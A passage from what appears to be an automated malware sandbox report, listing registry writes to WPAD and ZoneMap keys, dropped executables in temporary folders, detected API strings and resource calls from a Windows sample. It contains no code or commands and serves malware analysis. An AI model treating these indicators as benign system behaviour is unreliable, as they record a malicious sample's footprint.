SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "C22F07325534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "C22F07325534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "1FCF6D495734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "1FCF6D495734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "99082A2E5934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "7CDAB0635934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "&J`4") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "D6B4FF407C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "D6B4FF407C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "95A0E38D7E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "12A0ECC88034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "12A0ECC88034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "3B9B69448734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "3B9B69448734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "1E6DF0798734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "1E6DF0798734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "93D356CE8E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "93D356CE8E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "4AC062D99234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "4AC062D99234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2E92E90E9334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2E92E90E9334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "271445CC9734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "271445CC9734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "418022AE9934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2452A9E39934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2F600CEDBE34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2F600CEDBE34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "CB3C6E04C134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "485C0F0AC334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "485C0F0AC334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "DEC7F526C734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "22FB7E5CC734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "7F9AE573C934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "DC394C8BCB34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "972FA2A2CD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "972FA2A2CD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "195978B4CD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "195978B4CD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "83786DA3D634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "3C834885D834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "3C834885D834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "FD12F9E3DA34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "FD12F9E3DA34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "19B1FF1EDD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2B9D57104C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2EEF18344C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2B902EC84E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "C8B33E035134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "C8B33E035134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "99082A2E5934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "7CDAB0635934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "&J`4") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "064B8A616234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "064B8A616234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "377503BF6A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "377503BF6A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "B723EC0B6D34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "E5C781E37334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "E5C781E37334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "BD1F43127834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "BD1F43127834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "9011BBE59034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "9011BBE59034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "AB91F2499534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "AB91F2499534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "418022AE9934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2452A9E39934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "E15212FB9B34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "F2AE5DF3A234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "F2AE5DF3A234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "CC90CAFBA434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "DA019BBEAB34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "35A016D6AD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "AF6DF6B7AF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "AF6DF6B7AF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "70FDA616B234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "70FDA616B234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "F6B983EFCF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "F6B983EFCF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "2055CFBAD834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2055CFBAD834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "19B1FF1EDD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "54E4C512DF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "54E4C512DF34DD0100") "6BL1kL7.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "6BL1kL7.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000")6a:T732,"gF3mD54.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\gF3mD54.exe]- [targetUID: 00000000-00001884] "4em853cx.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP002.TMP\4em853cx.exe]- [targetUID: 00000000-00003232] "oi9NR71.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\oi9NR71.exe]- [targetUID: 00000000-00001884] "3Cf23Ki.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP003.TMP\3Cf23Ki.exe]- [targetUID: 00000000-00003660] "ZF2zr63.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\ZF2zr63.exe]- [targetUID: 00000000-00003660] "Cb7yP98.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\Cb7yP98.exe]- [targetUID: 00000000-00003660] "5nB9ui9.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5nB9ui9.exe]- [targetUID: 00000000-00001884] "1Nd23RF4.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 4 sections"- Location: [%TEMP%\IXP004.TMP\1Nd23RF4.exe]- [targetUID: 00000000-00002836] "2pQ5650.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2pQ5650.exe]- [targetUID: 00000000-00001864] "6BL1kL7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\IXP000.TMP\6BL1kL7.exe]- [targetUID: 00000000-00001380] "explothe.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00003888]6b:T47a,Found string "CheckTokenMembership" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: ADVAPI32.DLL) Found string "DelNodeRunDLL32" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: ADVPACK.DLL) Found string "HeapSetInformation" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: KERNELBASE.DLL) Found string "DecryptFileA" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: ADVAPI32.DLL) Found string "DoInfInstall" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: ADVPACK.DLL) Found string "SHBrowseForFolder" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: SHELL32.DLL) Found string "SHGetPathFromIDList" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: SHELL32.DLL) Found string "Extract" (Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9, API is part of module: URLMON.DLL)6c:T53b,FindResourceA@KERNEL32.DLL at 00000000-00001884-30668-35-00F4468F FindResourceA@KERNEL32.DLL at 00000000-00001884-30668-51-00F44FE0 LoadResource@KERNEL32.DLL at 00000000-00001884-30668-57-00F46298 FindResourceA@KERNEL32.DLL at 00000000-00001884-30668-58-00F46517 FindResourceA@KERNEL32.DLL at 00000000-00001884-30668-71-00F42CAA FindResourceA@KERNEL32.DLL at 00000000-00004376-31130-35-0006468F FindResourceA@KERNEL32.DLL at 00000000-00004376-31130-51-00064FE0 LoadResource@KERNEL32.DLL at 00000000-00004376-31130-57-00066298 FindResourceA@KERNEL32.DLL at 00000000-00004376-31130-58-00066517 FindResourceA@KERNEL32.DLL at 00000000-00004376-31130-71-00062CAA FindResourceA@KERNEL32.DLL at 00000000-00003660-31535-35-00A5468F FindResourceA@KERNEL32.DLL at 00000000-00003660-31535-51-00A54FE0 LoadResource@KERNEL32.DLL at 00000000-00003660-31535-57-00A56298 FindResourceA@KERNEL32.DLL at 00000000-00003660-31535-58-00A56517 FindResourceA@KERNEL32.DLL at 00000000-00003660-31535-71-00A52CAA FindResourceW@KERNEL32.DLL at 00000000-00003560-57519-237-00402CA9 FindResourceW@KERNEL32.DLL at 00000000-00003560-57519-238-0040271B LoadResource@KERNEL32.DLL at 00000000-00003560-57519-253-004026B8 FindResourceW@KERNEL32.DLL at 00000000-00003560-57519-286-00403CD7 FindResourceW@KERNEL32.DLL at 00000000-00003560-57519-303-00402E9D6d:T732,"gF3mD54.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\gF3mD54.exe]- [targetUID: 00000000-00001884] "4em853cx.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP002.TMP\4em853cx.exe]- [targetUID: 00000000-00003232] "oi9NR71.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\oi9NR71.exe]- [targetUID: 00000000-00001884] "3Cf23Ki.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP003.TMP\3Cf23Ki.exe]- [targetUID: 00000000-00003660] "ZF2zr63.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\ZF2zr63.exe]- [targetUID: 00000000-00003660] "Cb7yP98.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\Cb7yP98.exe]- [targetUID: 00000000-00003660] "5nB9ui9.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5nB9ui9.exe]- [targetUID: 00000000-00001884] "1Nd23RF4.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 4 sections"- Location: [%TEMP%\IXP004.TMP\1Nd23RF4.exe]- [targetUID: 00000000-00002836] "2pQ5650.exe" has type "PE32 executable 